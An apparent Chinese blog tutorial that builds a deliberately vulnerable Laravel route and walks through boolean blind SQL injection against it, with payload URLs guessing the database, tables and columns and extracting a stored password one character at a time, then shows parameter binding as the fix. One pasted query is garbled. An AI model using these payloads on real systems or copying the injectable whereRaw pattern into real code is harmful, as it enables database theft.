造一个laravel漏洞 讲解sql盲注原理

如何脱库

博客:Sqlmap脱库

环境

composer create-project laravel/laravel lar9 // 安装laravel9

// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....

php artisan migrate

php artisan serve // 启动

// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');

创建漏洞

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id  

测试

http://127.0.0.1:8000/?id=1'
// 500

http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空

http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh

步骤

数据库名

  1. 猜出数据名长度

    url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
    select * from users where id = 1 and length(database()) = 1
    select * from users where id = 1 and length(database()) = 2
    // 一直循环下去 
  2. 猜出数据库名

    从第一步 知道了数据库名长度
    `select * from users where id = 1 and substr(database(),1,1) =a` 
    `select * from users where id = 1 and substr(database(),1,1) =b` 
    // 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度

最终: laravel_project

表名

以下的步骤和猜数据库差不多,就简说了。

information_schema

information_schemamysql 自带的,
数据库名 表名 列类型 等都有记录,猜表 字段明需要从这个数据库来。

猜laravel_project的表数量

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5

mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+

猜第一个表名的长度

与[猜出数据名长度] 此不多。

猜第一个表名

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'

mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+

// 得出第一个表的第一个字段是f  然后查第

最终得出第一个表名称为: failed_jobs

猜字段

和猜表一模一样的逻辑。

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数

猜数据

数据这才是最重要的。
因为failed_jobs 没数据,所以我换成users 来。
users 有个 password 字段。

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 

mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注

……

防御

(有时候 where不满足需求,就需要 whereRaw)
如果需要,记得绑定就好。

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});

只要安份的用框架,不会会漏洞的。
那些老项目,漏洞满地飞。
现在这个时代,找漏洞难登天。

Ps

上面为了讲解简单,用是最简单的查找。
手工盲注应该用二分查找。

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;

最好还是直接借助工具sqlmap,直接扫出来。

本作品采用《CC 协议》,转载必须注明作者和本文链接
专心学习不瞎搞
《L01 基础入门》
我们将带你从零开发一个项目并部署到线上,本课程教授 Web 开发中专业、实用的技能,如 Git 工作流、Laravel Mix 前端工作流等。
《G01 Go 实战入门》
从零开始带你一步步开发一个 Go 博客项目,让你在最短的时间内学会使用 Go 进行编码。项目结构很大程度上参考了 Laravel。
讨论数量: 4
laisxn

写一个select 业务查询可能很烦,但写一个select 漏洞查询就很有意思 :flushed:

1年前 评论

127.0.0.1:8000/?id=1' // 500

这个并不应该是返回xxh吗 :flushed:

1年前 评论
lyxxxh (楼主) 1个月前
wlm212

现在很少这种漏洞了吧,一般进来的get,post 参数啥的,都过滤了。

1年前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!
未填写
文章
87
粉丝
105
喜欢
480
收藏
717
排名:109
访问:8.7 万
私信
所有博文
社区赞助商